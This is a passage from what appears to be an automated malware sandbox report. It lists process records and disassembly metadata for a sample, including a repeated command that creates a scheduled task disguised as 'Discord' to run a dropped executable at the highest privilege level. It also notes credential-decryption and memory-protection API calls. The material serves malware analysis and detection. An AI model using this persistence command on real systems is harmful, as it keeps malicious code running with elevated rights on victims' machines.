                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:91
                                                                                                                                                                          Start time:02:26:20
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:92
                                                                                                                                                                          Start time:02:26:20
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:93
                                                                                                                                                                          Start time:02:26:23
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:
                                                                                                                                                                          Has administrator privileges:
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:94
                                                                                                                                                                          Start time:02:26:23
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:
                                                                                                                                                                          Has administrator privileges:
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:95
                                                                                                                                                                          Start time:02:26:23
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:
                                                                                                                                                                          Has administrator privileges:
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:96
                                                                                                                                                                          Start time:02:26:27
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:
                                                                                                                                                                          Has administrator privileges:
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:97
                                                                                                                                                                          Start time:02:26:27
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:
                                                                                                                                                                          Has administrator privileges:
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:107
                                                                                                                                                                          Start time:02:26:33
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\Conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:
                                                                                                                                                                          Has administrator privileges:
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Disassembly

                                                                                                                                                                          Reset < >

                                                                                                                                                                            Execution Graph

                                                                                                                                                                            Execution Coverage:19.5%
                                                                                                                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                            Signature Coverage:100%
                                                                                                                                                                            Total number of Nodes:6
                                                                                                                                                                            Total number of Limit Nodes:0
                                                                                                                                                                            execution_graph 13033 7ffe6f983015 13034 7ffe6f98303e CryptUnprotectData 13033->13034 13035 7ffe6f9830a6 13034->13035 13029 7ffe6f7e0bbe 13030 7ffe6f7e0bff NtProtectVirtualMemory 13029->13030 13032 7ffe6f7e0ce5 13030->13032

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F982E79 Relevance: 1.8, APIs: 1, Instructions: 265COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3693543350.00007FFE6F980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F980000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f980000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bf55a4bb62c304040ef953d9187a8c78e914df81026bec9c8f212f24a8f87b60
                                                                                                                                                                            • Instruction ID: 4f4d6aae545a667fb5f08d7397af1bf97abfdb940280168de679141f7c00a7a7
                                                                                                                                                                            • Opcode Fuzzy Hash: bf55a4bb62c304040ef953d9187a8c78e914df81026bec9c8f212f24a8f87b60
                                                                                                                                                                            • Instruction Fuzzy Hash: 2781E330918A9C8FDB95DF588845BE9BBF0FF55310F0442AEE04DE72A2DE746985CB80
                                                                                                                                                                            Function 00007FFE6F7E0B5A Relevance: 1.7, APIs: 1, Instructions: 186nativeCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 101 7ffe6f7e0b5a-7ffe6f7e0b6c 104 7ffe6f7e0b6e-7ffe6f7e0b77 101->104 105 7ffe6f7e0bb1-7ffe6f7e0bfd 101->105 104->105 107 7ffe6f7e0c05-7ffe6f7e0ce3 NtProtectVirtualMemory 105->107 108 7ffe6f7e0bff-7ffe6f7e0c03 105->108 113 7ffe6f7e0ceb-7ffe6f7e0d16 107->113 114 7ffe6f7e0ce5 107->114 108->107 114->113
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d6000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MemoryProtectVirtual
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2706961497-0
                                                                                                                                                                            • Opcode ID: 53833df56021bb954e5f54db2c98f85f9e131dd283b802094c5da0b0f912b3d7
                                                                                                                                                                            • Instruction ID: ca04662441f29f65c34643a7a652eaf57c99fa79602509023026601e84c73cf1
                                                                                                                                                                            • Opcode Fuzzy Hash: 53833df56021bb954e5f54db2c98f85f9e131dd283b802094c5da0b0f912b3d7
                                                                                                                                                                            • Instruction Fuzzy Hash: 7F51B33091D7C84FD71A9B6898156E97FF0EF96310F0981EFE089D71A3DA786809C792
                                                                                                                                                                            Function 00007FFE6F7D32F0 Relevance: 1.7, Strings: 1, Instructions: 416COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(M_^
                                                                                                                                                                            • API String ID: 0-1436446073
                                                                                                                                                                            • Opcode ID: 3441b41c2f1134a64507f6f5b2f36eca173b6ee1d0dfd554fabc90b901af670f
                                                                                                                                                                            • Instruction ID: bb31f9d94d2a323807f28c7c916592591705add675d72a9a70debb881f89fbf8
                                                                                                                                                                            • Opcode Fuzzy Hash: 3441b41c2f1134a64507f6f5b2f36eca173b6ee1d0dfd554fabc90b901af670f
                                                                                                                                                                            • Instruction Fuzzy Hash: A2E12F59D3E2DE8EF7A7572498121F53B604F12354F9942FAC489CB1E3F90D790A83A2
                                                                                                                                                                            Function 00007FFE6F7E0BBE Relevance: 1.7, APIs: 1, Instructions: 165nativeCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 116 7ffe6f7e0bbe-7ffe6f7e0bfd 117 7ffe6f7e0c05-7ffe6f7e0ce3 NtProtectVirtualMemory 116->117 118 7ffe6f7e0bff-7ffe6f7e0c03 116->118 123 7ffe6f7e0ceb-7ffe6f7e0d16 117->123 124 7ffe6f7e0ce5 117->124 118->117 124->123
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d6000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MemoryProtectVirtual
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2706961497-0
                                                                                                                                                                            • Opcode ID: dff3dc8347ec7b333db31eee96e59f81155826b9311bb2e6da6662b4965a7050
                                                                                                                                                                            • Instruction ID: 9d1069a42092af45edb563e26645117083e3033534256f52aaeab387eb11abed
                                                                                                                                                                            • Opcode Fuzzy Hash: dff3dc8347ec7b333db31eee96e59f81155826b9311bb2e6da6662b4965a7050
                                                                                                                                                                            • Instruction Fuzzy Hash: 7251A03091D7C84FD71A9B6898156A97FF0EF96310F0582EFE089D71A3DA786809C792
                                                                                                                                                                            Function 00007FFE6F987061 Relevance: 1.6, Strings: 1, Instructions: 379COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 126 7ffe6f987061-7ffe6f987072 call 7ffe6f985408 129 7ffe6f987431-7ffe6f987459 126->129 130 7ffe6f987078-7ffe6f987080 126->130 134 7ffe6f987463-7ffe6f987479 129->134 135 7ffe6f98745b-7ffe6f987462 129->135 130->129 131 7ffe6f987086-7ffe6f9870a1 call 7ffe6f985408 130->131 131->129 137 7ffe6f9870a7-7ffe6f9870c3 call 7ffe6f985408 131->137 140 7ffe6f9874d0-7ffe6f9874e7 134->140 141 7ffe6f98747b-7ffe6f98748b 134->141 135->134 137->129 145 7ffe6f9870c9-7ffe6f9870e2 call 7ffe6f985408 137->145 141->140 142 7ffe6f98748d-7ffe6f9874a4 141->142 142->140 144 7ffe6f9874a6-7ffe6f9874bb 142->144 144->140 147 7ffe6f9874bd-7ffe6f9874cf 144->147 145->129 150 7ffe6f9870e8-7ffe6f987100 call 7ffe6f985408 145->150 150->129 153 7ffe6f987106-7ffe6f98710e 150->153 153->129 154 7ffe6f987114-7ffe6f987130 call 7ffe6f985408 153->154 154->129 157 7ffe6f987136-7ffe6f987152 call 7ffe6f985408 154->157 157->129 160 7ffe6f987158-7ffe6f987176 call 7ffe6f985408 157->160 160->129 163 7ffe6f98717c-7ffe6f987187 160->163 164 7ffe6f98718f-7ffe6f987194 call 7ffe6f9836b0 163->164 166 7ffe6f987199-7ffe6f9871af 164->166 166->129 167 7ffe6f9871b5-7ffe6f9871c9 166->167 167->129 168 7ffe6f9871cf-7ffe6f9871dc 167->168 168->129 169 7ffe6f9871e2-7ffe6f9871f0 168->169 169->129 170 7ffe6f9871f6-7ffe6f987208 169->170 170->129 171 7ffe6f98720e-7ffe6f98722f call 7ffe6f9836b0 170->171 171->129 174 7ffe6f987235-7ffe6f987248 171->174 174->129 175 7ffe6f98724e-7ffe6f987262 174->175 175->129 176 7ffe6f987268-7ffe6f98727c 175->176 176->129 177 7ffe6f987282-7ffe6f98728d 176->177 177->129 178 7ffe6f987293-7ffe6f9872ae 177->178 178->164 179 7ffe6f9872b4-7ffe6f9872d1 call 7ffe6f983690 call 7ffe6f9836b0 178->179 179->129 184 7ffe6f9872d7-7ffe6f9872e5 179->184 184->129 185 7ffe6f9872eb-7ffe6f9872f8 184->185 185->129 186 7ffe6f9872fe-7ffe6f98730c 185->186 186->129 187 7ffe6f987312-7ffe6f987325 186->187 187->129 188 7ffe6f98732b-7ffe6f987330 187->188 189 7ffe6f987332-7ffe6f98733b 188->189 190 7ffe6f9873aa-7ffe6f9873bd 188->190 189->190 191 7ffe6f98733d-7ffe6f987340 189->191 191->129 192 7ffe6f987346-7ffe6f987353 191->192 193 7ffe6f987355-7ffe6f987359 192->193 194 7ffe6f987377-7ffe6f98737a 192->194 193->194 195 7ffe6f98735b-7ffe6f987373 call 7ffe6f9836a8 193->195 194->129 196 7ffe6f987380-7ffe6f98738f call 7ffe6f9836a8 194->196 202 7ffe6f987375 195->202 196->129 201 7ffe6f987395-7ffe6f9873a1 196->201 201->194 203 7ffe6f9873a3-7ffe6f9873a8 201->203 202->203 203->190 203->191
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3693543350.00007FFE6F980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F980000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f980000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: c
                                                                                                                                                                            • API String ID: 0-2442103856
                                                                                                                                                                            • Opcode ID: 7e66d9d6fbed4ebd23ca7ddf698981baaac37653e55e7aab746a11be0815048e
                                                                                                                                                                            • Instruction ID: 9fc9d7dc3d9e20d75d540102d9d2164617d3052d096d301034b941fe7fc8f8c7
                                                                                                                                                                            • Opcode Fuzzy Hash: 7e66d9d6fbed4ebd23ca7ddf698981baaac37653e55e7aab746a11be0815048e
                                                                                                                                                                            • Instruction Fuzzy Hash: F1D1B730A2868D8FD3189F6880455B97BE2EF85314F64487DD4AF871B6EA35E843C792
                                                                                                                                                                            Function 00007FFE6F983015 Relevance: 1.6, APIs: 1, Instructions: 87encryptionCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 204 7ffe6f983015-7ffe6f9830a4 CryptUnprotectData 206 7ffe6f9830ac-7ffe6f9830cd 204->206 207 7ffe6f9830a6 204->207 209 7ffe6f9830f0-7ffe6f983108 206->209 210 7ffe6f9830cf-7ffe6f9830ee 206->210 207->206 210->209
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3693543350.00007FFE6F980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F980000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f980000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CryptDataUnprotect
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 834300711-0
                                                                                                                                                                            • Opcode ID: 363030ee7f55440465325c2e784caf27c0adc4730bb6b50a4f697d007b45de9f
                                                                                                                                                                            • Instruction ID: d6e52f277b7d07a46e124d5853d70a8512d50e80738d6d2f8f14822e21c13f54
                                                                                                                                                                            • Opcode Fuzzy Hash: 363030ee7f55440465325c2e784caf27c0adc4730bb6b50a4f697d007b45de9f
                                                                                                                                                                            • Instruction Fuzzy Hash: 05317F30A18A1C8FDB54EF58C845BECB7B0FB58310F0486A9D44EE7295DE34A984CF81
                                                                                                                                                                            Function 00007FFE6F7D1658 Relevance: 1.4, Strings: 1, Instructions: 176COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 251 7ffe6f7d1658 252 7ffe6f7d165d-7ffe6f7d1688 251->252 256 7ffe6f7d168a 252->256 257 7ffe6f7d164e-7ffe6f7d1656 252->257 258 7ffe6f7d168c-7ffe6f7d1692 256->258 259 7ffe6f7d1704-7ffe6f7d170c 256->259 257->251 261 7ffe6f7d16a4-7ffe6f7d16a7 258->261 262 7ffe6f7d1694-7ffe6f7d1699 258->262 270 7ffe6f7d1729 259->270 271 7ffe6f7d170e-7ffe6f7d1718 259->271 263 7ffe6f7d171f-7ffe6f7d1721 261->263 265 7ffe6f7d16a9 261->265 262->263 267 7ffe6f7d1723-7ffe6f7d1728 263->267 268 7ffe6f7d1751 263->268 265->263 269 7ffe6f7d16ab-7ffe6f7d16ac 265->269 272 7ffe6f7d173a-7ffe6f7d1743 267->272 273 7ffe6f7d172a 267->273 274 7ffe6f7d1753-7ffe6f7d1754 268->274 275 7ffe6f7d16d0-7ffe6f7d16de 269->275 270->273 271->273 281 7ffe6f7d171a 271->281 278 7ffe6f7d1755-7ffe6f7d175e 272->278 284 7ffe6f7d1745 272->284 273->272 276 7ffe6f7d172c call 7ffe6f7d1278 273->276 274->278 285 7ffe6f7d16f0-7ffe6f7d16f4 275->285 286 7ffe6f7d16e0-7ffe6f7d16ec 275->286 289 7ffe6f7d1731-7ffe6f7d1733 276->289 287 7ffe6f7d176b-7ffe6f7d176d 278->287 288 7ffe6f7d1760 278->288 281->263 284->278 290 7ffe6f7d1747-7ffe6f7d174e call 7ffe6f7d1298 284->290 292 7ffe6f7d1769 285->292 293 7ffe6f7d16f5 285->293 307 7ffe6f7d16fe-7ffe6f7d1703 286->307 308 7ffe6f7d16ee 286->308 294 7ffe6f7d179d-7ffe6f7d17a8 287->294 295 7ffe6f7d176f-7ffe6f7d1774 287->295 288->287 291 7ffe6f7d1762-7ffe6f7d1764 288->291 289->284 296 7ffe6f7d1735 289->296 290->288 311 7ffe6f7d1750 290->311 299 7ffe6f7d1776-7ffe6f7d177a 291->299 300 7ffe6f7d1766 291->300 292->287 293->274 302 7ffe6f7d16f6-7ffe6f7d16fb 293->302 301 7ffe6f7d17aa 294->301 303 7ffe6f7d177a 295->303 304 7ffe6f7d169e-7ffe6f7d16a0 295->304 296->272 299->304 306 7ffe6f7d1780-7ffe6f7d1782 299->306 300->287 310 7ffe6f7d17ac-7ffe6f7d1830 301->310 302->307 303->304 303->306 304->275 309 7ffe6f7d16a2 304->309 306->310 312 7ffe6f7d1784 306->312 307->259 308->285 309->261 311->278 312->301 314 7ffe6f7d1786-7ffe6f7d178d 312->314
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2M_^
                                                                                                                                                                            • API String ID: 0-1514836291
                                                                                                                                                                            • Opcode ID: 900d8dffc8ce835d78fe8106905cd95077b7f07e5083e3c5562c4f4b44429a07
                                                                                                                                                                            • Instruction ID: 3d274c11c8c126060b9150b2a27c9fa5f78b5c72c25a0efa865d1600cdde67f9
                                                                                                                                                                            • Opcode Fuzzy Hash: 900d8dffc8ce835d78fe8106905cd95077b7f07e5083e3c5562c4f4b44429a07
                                                                                                                                                                            • Instruction Fuzzy Hash: 35612C55D2E3CA8EF757973458252A53F605F17224F5902FBD088CB4F3F99C681A83A2
                                                                                                                                                                            Function 00007FFE6F7DF54F Relevance: .6, Instructions: 571COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d6000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0b0d066273fea8c988323ba8ded60aef5b17f6443dececcfc5bf80f29c474da3
                                                                                                                                                                            • Instruction ID: 6831ac01426ef9d7c73413a9cdb2017698f9dfe106aa7838e8d11954b80083d0
                                                                                                                                                                            • Opcode Fuzzy Hash: 0b0d066273fea8c988323ba8ded60aef5b17f6443dececcfc5bf80f29c474da3
                                                                                                                                                                            • Instruction Fuzzy Hash: 9E12D729D3E6DE8EF756A73488116F43BA09F56314F8902BAD489D71F3F91C780A8352
                                                                                                                                                                            Function 00007FFE6F7DEA60 Relevance: .5, Instructions: 492COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d6000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8b01709343984d7f02f94c46861618f7b6c92ba59ca2eea9e39713b6972991c9
                                                                                                                                                                            • Instruction ID: 5f66b75f3d3c66d1483a197a5f63ef8f6cd3f03d26e9943ca62a8e3b59c92ab6
                                                                                                                                                                            • Opcode Fuzzy Hash: 8b01709343984d7f02f94c46861618f7b6c92ba59ca2eea9e39713b6972991c9
                                                                                                                                                                            • Instruction Fuzzy Hash: 36027225D3E2CE4EEB6B972458116F57B609F52314F8906FAD489CB1F3F91C780A8392
                                                                                                                                                                            Function 00007FFE6F7D86E8 Relevance: .3, Instructions: 340COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d6000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2c8544174cb9cd299337b3e8b5276a45c39a9e5271a6929440431f40f3e4ef17
                                                                                                                                                                            • Instruction ID: 13e255f09f20f5efd677dd4bab2e64f9a808c48e192c84d30a4ccd8a66266806
                                                                                                                                                                            • Opcode Fuzzy Hash: 2c8544174cb9cd299337b3e8b5276a45c39a9e5271a6929440431f40f3e4ef17
                                                                                                                                                                            • Instruction Fuzzy Hash: 3DB1B025D3E2CE8EE756937488552F43BA09F16314F8912BAD489CB1F3FD0C781A8352
                                                                                                                                                                            Function 00007FFE6F7D32C0 Relevance: .2, Instructions: 216COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 30e750dc2bdd38da51a7010ece03abfc189d6c02a0d040596f14427971069192
                                                                                                                                                                            • Instruction ID: 790b0374c1aabb104a9694dea766d4ecaa38474a2f20736d3bd0709698d5d3e3
                                                                                                                                                                            • Opcode Fuzzy Hash: 30e750dc2bdd38da51a7010ece03abfc189d6c02a0d040596f14427971069192
                                                                                                                                                                            • Instruction Fuzzy Hash: 21717A29D3F1DF86FBEA932489035FA36509B51315FD46779C88CC60F2BD1DB41A82A2
                                                                                                                                                                            Function 00007FFE6F7D351D Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 318 7ffe6f7d351d-7ffe6f7d363a 321 7ffe6f7d364f-7ffe6f7d3656 318->321 322 7ffe6f7d3666-7ffe6f7d366d 321->322 323 7ffe6f7d3658 call 7ffe6f7d1c70 321->323 325 7ffe6f7d367d-7ffe6f7d3684 322->325 326 7ffe6f7d366f-7ffe6f7d3676 call 7ffe6f7d1650 322->326 327 7ffe6f7d365d-7ffe6f7d365f 323->327 329 7ffe6f7d3686 call 7ffe6f7d1658 325->329 330 7ffe6f7d3694-7ffe6f7d369b 325->330 338 7ffe6f7d3678 326->338 339 7ffe6f7d3645-7ffe6f7d364a call 7ffe6f7d1298 326->339 331 7ffe6f7d36ab-7ffe6f7d36b0 327->331 332 7ffe6f7d3661 327->332 340 7ffe6f7d368b-7ffe6f7d368d 329->340 335 7ffe6f7d369d 330->335 336 7ffe6f7d36a2-7ffe6f7d36a9 330->336 332->322 335->336 336->331 337 7ffe6f7d363c-7ffe6f7d3643 336->337 337->321 337->339 338->325 339->321 340->339 341 7ffe6f7d368f 340->341 341->330
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000000.00000002.3690549576.00007FFE6F7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7D0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_0_2_7ffe6f7d0000_CVmkXJ7e0a.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(M_^
                                                                                                                                                                            • API String ID: 0-1436446073
